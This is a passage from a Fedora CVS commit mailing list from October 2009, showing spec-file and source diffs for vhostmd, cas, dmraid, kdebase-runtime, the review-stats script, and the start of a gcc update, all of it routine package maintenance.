- Remove xen-devel dependency on ALL architectures.



Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/vhostmd.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vhostmd.spec	15 Oct 2009 17:54:03 -0000	1.2
+++ vhostmd.spec	15 Oct 2009 18:20:49 -0000	1.3
@@ -1,14 +1,17 @@
 # Xen is only available on a limited number of architectures
-%ifarch %{ix86} x86_64 ia64
-%global have_xen 1
-%else
+#%ifarch %{ix86} x86_64 ia64
+#%global have_xen 1
+#%else
+#%global have_xen 0
+#%endif
+
+# Owing to an apparent bug in EPEL, xen-devel is missing, so:
 %global have_xen 0
-%endif
 
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.2.gitea2f772d%{?dist}
+Release:       0.3.gitea2f772d%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -183,6 +186,9 @@ exit 0
 
 
 %changelog
+* Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.3.gitea2f772d
+- Remove xen-devel dependency on ALL architectures.
+
 * Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
 - New upstream based on git ea2f772d.
 - Update the configuration file based on upstream changes to how virsh



From astokes at fedoraproject.org  Thu Oct 15 18:23:55 2009
From: astokes at fedoraproject.org (Adam Stokes)
Date: Thu, 15 Oct 2009 18:23:55 +0000 (UTC)
Subject: rpms/cas/devel .cvsignore,1.3,1.4 cas.spec,1.4,1.5 sources,1.3,1.4
Message-ID: <20091015182355.D7B8611C00DB@cvs1.fedora.phx.redhat.com>

Author: astokes

Update of /cvs/pkgs/rpms/cas/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6432

Modified Files:
	.cvsignore cas.spec sources 
Log Message:
.15 release, ssh improvements, no more func


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cas/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	6 May 2009 13:30:33 -0000	1.3
+++ .cvsignore	15 Oct 2009 18:23:55 -0000	1.4
@@ -1 +1 @@
-cas-0.14.tar.gz
+cas-0.15.tar.gz


Index: cas.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cas/devel/cas.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- cas.spec	24 Jul 2009 18:40:17 -0000	1.4
+++ cas.spec	15 Oct 2009 18:23:55 -0000	1.5
@@ -2,8 +2,8 @@
 
 Name: cas
 Summary: Tool to analyze and configure core file environment
-Version: 0.14
-Release: 11%{?dist}
+Version: 0.15
+Release: 1%{?dist}
 Source0: https://fedorahosted.org/releases/c/a/cas/%{name}-%{version}.tar.gz
 License: GPLv3+
 Group: Development/Libraries
@@ -12,9 +12,9 @@ BuildArch: noarch
 Url: http://fedorahosted.org/cas
 BuildRequires: python-devel
 %if 0%{?rhel}
-Requires: python-sqlite crash
+Requires: python-sqlite crash python-paramiko
 %else
-Requires: crash
+Requires: crash python-paramiko
 %endif
 
 %description
@@ -43,17 +43,17 @@ rm -rf ${RPM_BUILD_ROOT}
 %{python_sitelib}/*
 %{_mandir}/man1/cas.1.gz
 %{_mandir}/man1/cas-admin.1.gz
-%dir /var/lib/cas/snippets/
+%dir %{_var}/lib/cas/snippets/
 %defattr(755,root,root)
-%config(noreplace) /var/lib/cas/snippets/log
-%config(noreplace) /var/lib/cas/snippets/memory
-%config(noreplace) /var/lib/cas/snippets/sys
-%config(noreplace) /var/lib/cas/snippets/template
-%config(noreplace) /var/lib/cas/snippets/traceback
-%config(noreplace) /var/lib/cas/snippets/modules
+%config(noreplace) %{_var}/lib/cas/snippets/*
 %doc AUTHORS LICENSE README PKG-INFO doc/*
 
 %changelog
+* Thu Oct 15 2009 Adam Stokes <ajs at redhat dot com> - 0.15-1
+- Require paramiko for all remote executions
+- Rip out func code
+- Documentation update to include ssh setup
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.14-11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cas/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	6 May 2009 13:30:33 -0000	1.3
+++ sources	15 Oct 2009 18:23:55 -0000	1.4
@@ -1 +1 @@
-98f492705ca8d59e77520fbe1d4650b5  cas-0.14.tar.gz
+23b20e28d75c50df259b57d35cfaf159  cas-0.15.tar.gz



From astokes at fedoraproject.org  Thu Oct 15 18:25:13 2009
From: astokes at fedoraproject.org (Adam Stokes)
Date: Thu, 15 Oct 2009 18:25:13 +0000 (UTC)
Subject: rpms/cas/F-11 cas.spec,1.3,1.4 sources,1.3,1.4
Message-ID: <20091015182513.279A011C00DB@cvs1.fedora.phx.redhat.com>

Author: astokes

Update of /cvs/pkgs/rpms/cas/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6747

Modified Files:
	cas.spec sources 
Log Message:
ssh rework


Index: cas.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cas/F-11/cas.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- cas.spec	6 May 2009 13:41:12 -0000	1.3
+++ cas.spec	15 Oct 2009 18:25:12 -0000	1.4
@@ -2,8 +2,8 @@
 
 Name: cas
 Summary: Tool to analyze and configure core file environment
-Version: 0.14
-Release: 10%{?dist}
+Version: 0.15
+Release: 1%{?dist}
 Source0: https://fedorahosted.org/releases/c/a/cas/%{name}-%{version}.tar.gz
 License: GPLv3+
 Group: Development/Libraries
@@ -12,9 +12,9 @@ BuildArch: noarch
 Url: http://fedorahosted.org/cas
 BuildRequires: python-devel
 %if 0%{?rhel}
-Requires: python-sqlite crash
+Requires: python-sqlite crash python-paramiko
 %else
-Requires: crash
+Requires: crash python-paramiko
 %endif
 
 %description
@@ -43,17 +43,20 @@ rm -rf ${RPM_BUILD_ROOT}
 %{python_sitelib}/*
 %{_mandir}/man1/cas.1.gz
 %{_mandir}/man1/cas-admin.1.gz
-%dir /var/lib/cas/snippets/
+%dir %{_var}/lib/cas/snippets/
 %defattr(755,root,root)
-%config(noreplace) /var/lib/cas/snippets/log
-%config(noreplace) /var/lib/cas/snippets/memory
-%config(noreplace) /var/lib/cas/snippets/sys
-%config(noreplace) /var/lib/cas/snippets/template
-%config(noreplace) /var/lib/cas/snippets/traceback
-%config(noreplace) /var/lib/cas/snippets/modules
+%config(noreplace) %{_var}/lib/cas/snippets/*
 %doc AUTHORS LICENSE README PKG-INFO doc/*
 
 %changelog
+* Thu Oct 15 2009 Adam Stokes <ajs at redhat dot com> - 0.15-1
+- Require paramiko for all remote executions
+- Rip out func code
+- Documentation update to include ssh setup
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.14-11
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue May 5 2009 Adam Stokes <ajs at redhat dot com> - 0.14-8
 - support for purging old data
 - documentation updated to reflect updated workflow and describe


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cas/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	6 May 2009 13:41:12 -0000	1.3
+++ sources	15 Oct 2009 18:25:13 -0000	1.4
@@ -1 +1 @@
-98f492705ca8d59e77520fbe1d4650b5  cas-0.14.tar.gz
+23b20e28d75c50df259b57d35cfaf159  cas-0.15.tar.gz



From astokes at fedoraproject.org  Thu Oct 15 18:26:05 2009
From: astokes at fedoraproject.org (Adam Stokes)
Date: Thu, 15 Oct 2009 18:26:05 +0000 (UTC)
Subject: rpms/cas/F-10 cas.spec,1.2,1.3 sources,1.3,1.4
Message-ID: <20091015182605.619AB11C00DB@cvs1.fedora.phx.redhat.com>

Author: astokes

Update of /cvs/pkgs/rpms/cas/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6952

Modified Files:
	cas.spec sources 
Log Message:
ssh rework


Index: cas.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cas/F-10/cas.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- cas.spec	6 May 2009 13:32:33 -0000	1.2
+++ cas.spec	15 Oct 2009 18:26:05 -0000	1.3
@@ -2,8 +2,8 @@
 
 Name: cas
 Summary: Tool to analyze and configure core file environment
-Version: 0.14
-Release: 10%{?dist}
+Version: 0.15
+Release: 1%{?dist}
 Source0: https://fedorahosted.org/releases/c/a/cas/%{name}-%{version}.tar.gz
 License: GPLv3+
 Group: Development/Libraries
@@ -12,9 +12,9 @@ BuildArch: noarch
 Url: http://fedorahosted.org/cas
 BuildRequires: python-devel
 %if 0%{?rhel}
-Requires: python-sqlite crash
+Requires: python-sqlite crash python-paramiko
 %else
-Requires: crash
+Requires: crash python-paramiko
 %endif
 
 %description
@@ -43,17 +43,20 @@ rm -rf ${RPM_BUILD_ROOT}
 %{python_sitelib}/*
 %{_mandir}/man1/cas.1.gz
 %{_mandir}/man1/cas-admin.1.gz
-%dir /var/lib/cas/snippets/
+%dir %{_var}/lib/cas/snippets/
 %defattr(755,root,root)
-%config(noreplace) /var/lib/cas/snippets/log
-%config(noreplace) /var/lib/cas/snippets/memory
-%config(noreplace) /var/lib/cas/snippets/sys
-%config(noreplace) /var/lib/cas/snippets/template
-%config(noreplace) /var/lib/cas/snippets/traceback
-%config(noreplace) /var/lib/cas/snippets/modules
+%config(noreplace) %{_var}/lib/cas/snippets/*
 %doc AUTHORS LICENSE README PKG-INFO doc/*
 
 %changelog
+* Thu Oct 15 2009 Adam Stokes <ajs at redhat dot com> - 0.15-1
+- Require paramiko for all remote executions
+- Rip out func code
+- Documentation update to include ssh setup
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.14-11
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue May 5 2009 Adam Stokes <ajs at redhat dot com> - 0.14-8
 - support for purging old data
 - documentation updated to reflect updated workflow and describe


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cas/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	6 May 2009 13:32:33 -0000	1.3
+++ sources	15 Oct 2009 18:26:05 -0000	1.4
@@ -1 +1 @@
-98f492705ca8d59e77520fbe1d4650b5  cas-0.14.tar.gz
+23b20e28d75c50df259b57d35cfaf159  cas-0.15.tar.gz



From astokes at fedoraproject.org  Thu Oct 15 18:26:47 2009
From: astokes at fedoraproject.org (Adam Stokes)
Date: Thu, 15 Oct 2009 18:26:47 +0000 (UTC)
Subject: rpms/cas/EL-5 cas.spec,1.3,1.4 sources,1.3,1.4
Message-ID: <20091015182647.DB2EE11C00DB@cvs1.fedora.phx.redhat.com>

Author: astokes

Update of /cvs/pkgs/rpms/cas/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7146

Modified Files:
	cas.spec sources 
Log Message:
ssh rework


Index: cas.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cas/EL-5/cas.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- cas.spec	6 May 2009 14:00:30 -0000	1.3
+++ cas.spec	15 Oct 2009 18:26:47 -0000	1.4
@@ -2,8 +2,8 @@
 
 Name: cas
 Summary: Tool to analyze and configure core file environment
-Version: 0.14
-Release: 10%{?dist}
+Version: 0.15
+Release: 1%{?dist}
 Source0: https://fedorahosted.org/releases/c/a/cas/%{name}-%{version}.tar.gz
 License: GPLv3+
 Group: Development/Libraries
@@ -12,9 +12,9 @@ BuildArch: noarch
 Url: http://fedorahosted.org/cas
 BuildRequires: python-devel
 %if 0%{?rhel}
-Requires: python-sqlite crash
+Requires: python-sqlite crash python-paramiko
 %else
-Requires: crash
+Requires: crash python-paramiko
 %endif
 
 %description
@@ -43,17 +43,20 @@ rm -rf ${RPM_BUILD_ROOT}
 %{python_sitelib}/*
 %{_mandir}/man1/cas.1.gz
 %{_mandir}/man1/cas-admin.1.gz
-%dir /var/lib/cas/snippets/
+%dir %{_var}/lib/cas/snippets/
 %defattr(755,root,root)
-%config(noreplace) /var/lib/cas/snippets/log
-%config(noreplace) /var/lib/cas/snippets/memory
-%config(noreplace) /var/lib/cas/snippets/sys
-%config(noreplace) /var/lib/cas/snippets/template
-%config(noreplace) /var/lib/cas/snippets/traceback
-%config(noreplace) /var/lib/cas/snippets/modules
+%config(noreplace) %{_var}/lib/cas/snippets/*
 %doc AUTHORS LICENSE README PKG-INFO doc/*
 
 %changelog
+* Thu Oct 15 2009 Adam Stokes <ajs at redhat dot com> - 0.15-1
+- Require paramiko for all remote executions
+- Rip out func code
+- Documentation update to include ssh setup
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.14-11
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue May 5 2009 Adam Stokes <ajs at redhat dot com> - 0.14-8
 - support for purging old data
 - documentation updated to reflect updated workflow and describe


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cas/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	6 May 2009 14:00:30 -0000	1.3
+++ sources	15 Oct 2009 18:26:47 -0000	1.4
@@ -1 +1 @@
-98f492705ca8d59e77520fbe1d4650b5  cas-0.14.tar.gz
+23b20e28d75c50df259b57d35cfaf159  cas-0.15.tar.gz



From mauelsha at fedoraproject.org  Thu Oct 15 18:30:20 2009
From: mauelsha at fedoraproject.org (Heinz Mauelshagen)
Date: Thu, 15 Oct 2009 18:30:20 +0000 (UTC)
Subject: rpms/dmraid/devel pdc_raid10_failure.patch, NONE, 1.1 dmraid.spec, 
	1.106, 1.107
Message-ID: <20091015183020.3136511C0265@cvs1.fedora.phx.redhat.com>

Author: mauelsha

Update of /cvs/pkgs/rpms/dmraid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7946

Modified Files:
	dmraid.spec 
Added Files:
	pdc_raid10_failure.patch 
Log Message:
bz524168: fix pdc metadata format handler to report the proper number of devices in a subset. bz528097: avoid /usr/lib access to DSOs

pdc_raid10_failure.patch:
 pdc.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE pdc_raid10_failure.patch ---
diff --git a/lib/format/ataraid/pdc.c.raid10_failure b/lib/format/ataraid/pdc.c
index b0bb652..8b14d71 100644
--- a/lib/format/ataraid/pdc.c
+++ b/lib/format/ataraid/pdc.c
@@ -490,7 +490,9 @@ devices(struct raid_dev *rd, void *context)
 	if (context && pdc->raid.type != PDC_T_SPAN)
 		*((uint64_t *) context) += rd->sectors;
 
-	return pdc->raid.total_disks;
+	return is_raid10(pdc) ?
+	       pdc->raid.total_disks / 2 :
+	       pdc->raid.total_disks;
 }
 
 static int


Index: dmraid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dmraid/devel/dmraid.spec,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- dmraid.spec	21 Sep 2009 14:29:50 -0000	1.106
+++ dmraid.spec	15 Oct 2009 18:30:19 -0000	1.107
@@ -24,6 +24,7 @@ Provides: dmraid-libs = %{version}-%{rel
 Source: ftp://people.redhat.com/heinzm/sw/dmraid/src/%{name}-%{version}.tar.bz2
 
 Patch0: dmraid-1.0.0.rc16-test_devices.patch
+Patch1: pdc_raid10_failure.patch
 
 %description
 DMRAID supports RAID device discovery, RAID set activation, creation,
@@ -64,8 +65,11 @@ Device failure reporting has to be activ
 %prep
 %setup -q -n dmraid/%{version}
 %patch0 -p1
+%patch1 -p1
 
 %build
+%define _libdir /%{_lib}
+
 %configure --prefix=${RPM_BUILD_ROOT}/usr --sbindir=${RPM_BUILD_ROOT}/sbin --libdir=${RPM_BUILD_ROOT}/%{_libdir} --mandir=${RPM_BUILD_ROOT}/%{_mandir} --includedir=${RPM_BUILD_ROOT}/%{_includedir} --enable-debug --enable-libselinux --enable-libsepol --disable-static_link --enable-led --enable-intel_led
 make DESTDIR=$RPM_BUILD_ROOT
 
@@ -130,6 +134,12 @@ rm -rf $RPM_BUILD_ROOT
 %ghost /etc/logwatch/scripts/services/dmeventd_syslogpattern.txt
 
 %changelog
+* Thu Oct 15 2009  Heinz Mauelshagen <heinzm at redhat.com> - 1.0.0.rc16-4
+- fix pdc metadata format handler to report the correct number
+  of devices in a RAID10 subset
+- bz528097: move libraries to /lib* in order to avoid catch22
+  with unmountable u/usr
+
 * Mon Sep 21 2009 Hans de Goede <hdegoede at redhat.com> - 1.0.0.rc16-3
 - Add Obsoletes for dmraid-libs packages (merged into the main pkg, #524261)
 - Make -devel Require the main package now the dmraid-libs package is gone



From rdieter at fedoraproject.org  Thu Oct 15 18:32:23 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 18:32:23 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-10 kdebase-runtime.spec,1.99,1.100
Message-ID: <20091015183223.5AE4311C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8167/F-10

Modified Files:
	kdebase-runtime.spec 
Log Message:
* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
- Conflicts: kdebase < 6:4.3.0
- Requires: oxygen-icon-theme >= %{version}



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-10/kdebase-runtime.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- kdebase-runtime.spec	8 Oct 2009 16:59:17 -0000	1.99
+++ kdebase-runtime.spec	15 Oct 2009 18:32:23 -0000	1.100
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       2%{?dist}
+Release:       3%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -30,6 +30,11 @@ Patch5:        kdebase-runtime-4.3.1-man
 Conflicts: kdebase3 < 3.5.10-4
 %endif
 
+%if 0%{?fedora} < 12
+# kcm_filetypes moved to here
+Conflicts: kdebase < 6:4.3.0
+%endif
+
 Provides:  kdebase4-runtime = %{version}-%{release}
 Obsoletes: kdebase4-runtime < %{version}-%{release}
 
@@ -41,6 +46,10 @@ Requires: %{name}-libs%{?_isa} = %{versi
 #?KHelpcenter requires htdig for building search indices
 Requires: htdig
 
+# ensure default/fallback icon theme present
+# beware of bootstrapping, there be dragons
+Requires: oxygen-icon-theme >= %{version}
+
 BuildRequires: kde-filesystem
 BuildRequires: alsa-lib-devel
 BuildRequires: bzip2-devel
@@ -214,6 +223,10 @@ fi
 
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
+- Conflicts: kdebase < 6:4.3.0
+- Requires: oxygen-icon-theme >= %%{version}
+
 * Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
 - BR: bzip2-devel xz-devel
 - -libs: move Requires: kdepimlibs... here



From rdieter at fedoraproject.org  Thu Oct 15 18:32:23 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 18:32:23 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-11 kdebase-runtime.spec,1.122,1.123
Message-ID: <20091015183223.7BD8311C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8167/F-11

Modified Files:
	kdebase-runtime.spec 
Log Message:
* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
- Conflicts: kdebase < 6:4.3.0
- Requires: oxygen-icon-theme >= %{version}



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-11/kdebase-runtime.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- kdebase-runtime.spec	8 Oct 2009 16:57:56 -0000	1.122
+++ kdebase-runtime.spec	15 Oct 2009 18:32:23 -0000	1.123
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       2%{?dist}
+Release:       3%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -30,6 +30,11 @@ Patch5:        kdebase-runtime-4.3.1-man
 Conflicts: kdebase3 < 3.5.10-4
 %endif
 
+%if 0%{?fedora} < 12
+# kcm_filetypes moved to here
+Conflicts: kdebase < 6:4.3.0
+%endif
+
 Provides:  kdebase4-runtime = %{version}-%{release}
 Obsoletes: kdebase4-runtime < %{version}-%{release}
 
@@ -41,6 +46,10 @@ Requires: %{name}-libs%{?_isa} = %{versi
 #?KHelpcenter requires htdig for building search indices
 Requires: htdig
 
+# ensure default/fallback icon theme present
+# beware of bootstrapping, there be dragons
+Requires: oxygen-icon-theme >= %{version}
+
 BuildRequires: kde-filesystem
 BuildRequires: alsa-lib-devel
 BuildRequires: bzip2-devel
@@ -214,6 +223,10 @@ fi
 
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
+- Conflicts: kdebase < 6:4.3.0
+- Requires: oxygen-icon-theme >= %%{version}
+
 * Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
 - BR: bzip2-devel xz-devel
 - -libs: move Requires: kdepimlibs... here



From rdieter at fedoraproject.org  Thu Oct 15 18:32:23 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 18:32:23 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-12 kdebase-runtime.spec,1.143,1.144
Message-ID: <20091015183223.CBFE711C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8167/F-12

Modified Files:
	kdebase-runtime.spec 
Log Message:
* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
- Conflicts: kdebase < 6:4.3.0
- Requires: oxygen-icon-theme >= %{version}



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-12/kdebase-runtime.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- kdebase-runtime.spec	8 Oct 2009 16:57:24 -0000	1.143
+++ kdebase-runtime.spec	15 Oct 2009 18:32:23 -0000	1.144
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       2%{?dist}
+Release:       3%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -30,6 +30,11 @@ Patch5:        kdebase-runtime-4.3.1-man
 Conflicts: kdebase3 < 3.5.10-4
 %endif
 
+%if 0%{?fedora} < 12
+# kcm_filetypes moved to here
+Conflicts: kdebase < 6:4.3.0
+%endif
+
 Provides:  kdebase4-runtime = %{version}-%{release}
 Obsoletes: kdebase4-runtime < %{version}-%{release}
 
@@ -41,6 +46,10 @@ Requires: %{name}-libs%{?_isa} = %{versi
 #?KHelpcenter requires htdig for building search indices
 Requires: htdig
 
+# ensure default/fallback icon theme present
+# beware of bootstrapping, there be dragons
+Requires: oxygen-icon-theme >= %{version}
+
 BuildRequires: kde-filesystem
 BuildRequires: alsa-lib-devel
 BuildRequires: bzip2-devel
@@ -214,6 +223,10 @@ fi
 
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
+- Conflicts: kdebase < 6:4.3.0
+- Requires: oxygen-icon-theme >= %%{version}
+
 * Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
 - BR: bzip2-devel xz-devel
 - -libs: move Requires: kdepimlibs... here



From tibbs at fedoraproject.org  Thu Oct 15 18:47:56 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Thu, 15 Oct 2009 18:47:56 +0000 (UTC)
Subject: status-report-scripts/review-templates bymonth.html,1.1,1.2
Message-ID: <20091015184756.EE28011C00DB@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts/review-templates
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11899/review-templates

Modified Files:
	bymonth.html 
Log Message:
Add per-month counts in main new ticket view.
Fix colspan use in the month headings.



Index: bymonth.html
===================================================================
RCS file: /cvs/fedora/status-report-scripts/review-templates/bymonth.html,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -r1.1 -r1.2
--- bymonth.html	3 Oct 2009 17:14:45 -0000	1.1
+++ bymonth.html	15 Oct 2009 18:47:56 -0000	1.2
@@ -38,7 +38,7 @@
             </thead>
 
             <py:for each="month in months">
-            <tr colspan="5"><td><b>${month['month']}</b></td></tr>
+            <tr><td colspan="5"><b>${month['month']}</b></td></tr>
             <py:for each="bug in month['bugs']">
             <tr class="${bug['class']}">
                 <td>



From tibbs at fedoraproject.org  Thu Oct 15 18:48:26 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Thu, 15 Oct 2009 18:48:26 +0000 (UTC)
Subject: status-report-scripts review-stats.py,1.2,1.3
Message-ID: <20091015184826.D802811C00DB@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11899

Modified Files:
	review-stats.py 
Log Message:
Add per-month counts in main new ticket view.
Fix colspan use in the month headings.



Index: review-stats.py
===================================================================
RCS file: /cvs/fedora/status-report-scripts/review-stats.py,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -r1.2 -r1.3
--- review-stats.py	3 Oct 2009 17:46:34 -0000	1.2
+++ review-stats.py	15 Oct 2009 18:47:56 -0000	1.3
@@ -2,10 +2,12 @@
 VERSION = "2.0"
 
 # $Id$
-#
 # Note: This script presently lives in internal git and external cvs.  External
-# cvs is::
+# cvs is:
+# http://cvs.fedoraproject.org/viewvc/status-report-scripts/review-stats.py?root=fedora
+# or check it out with
 # CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/fedora cvs co status-report-scripts
+#
 # Internal is in the puppet configs repository on puppet1.  It needs to be
 # there so that puppet can distribute to the servers.  I recommend doing the
 # work in the public cvs first, then copying to puppet's git after.
@@ -261,6 +263,7 @@
             }
     count = 0
     curmonth = ''
+    curcount = 0
 
     for i in bugs:
         if (bugdata[i.bug_id]['reviewflag'] == ' '
@@ -273,6 +276,7 @@
             if curmonth != yrmonth(i.opendate):
                 data['months'].append({'month': yrmonth(i.opendate), 'bugs': []})
                 curmonth = yrmonth(i.opendate)
+                curcount = 0
 
             data['months'][-1]['bugs'].append({'id': i.bug_id,
                     'alias': to_unicode(i.alias),
@@ -283,6 +287,8 @@
                     'summary': to_unicode(i.short_desc),
                     })
             data['count'] +=1
+            curcount +=1
+
 
     tmpl = loader.load('bymonth.html')
     output = tmpl.generate(**data)
@@ -308,6 +314,7 @@
             'version': VERSION,
             }
     curmonth = ''
+    curcount = 0
 
     for i in bugs:
         if (bugdata[i.bug_id]['reviewflag'] == ' '
@@ -323,8 +330,11 @@
                 rowclass = 'bz_row_odd'
 
             if curmonth != yrmonth(i.opendate):
+                if curcount > 0:
+                    data['months'][-1]['month'] += (" (%d)" % curcount)
                 data['months'].append({'month': yrmonth(i.opendate), 'bugs': []})
                 curmonth = yrmonth(i.opendate)
+                curcount = 0
 
             data['months'][-1]['bugs'].append({'id': i.bug_id,
                     'alias': to_unicode(i.alias),
@@ -335,7 +345,9 @@
                     'summary': to_unicode(i.short_desc),
                     })
             data['count'] +=1
+            curcount +=1
 
+    data['months'][-1]['month'] += (" (%d)" % curcount)
     tmpl = loader.load('bymonth.html')
     output = tmpl.generate(**data)
 



From jakub at fedoraproject.org  Thu Oct 15 18:53:25 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Thu, 15 Oct 2009 18:53:25 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-pr40521.patch, NONE, 1.1 .cvsignore, 1.300,
	1.301 gcc.spec, 1.79, 1.80 sources, 1.304,
	1.305 gcc44-powerpc-with-tune.patch, 1.1, NONE
Message-ID: <20091015185325.8CF5A11C00DB@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13358

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-pr40521.patch 
Removed Files:
	gcc44-powerpc-with-tune.patch 
Log Message:
4.4.2-1

gcc44-pr40521.patch:
 config.in    |    6 ++++++
 configure    |   36 ++++++++++++++++++++++++++++++++++++
 configure.ac |   11 +++++++++++
 dwarf2out.c  |   21 ++++++++++++++++++++-
 4 files changed, 73 insertions(+), 1 deletion(-)

--- NEW FILE gcc44-pr40521.patch ---
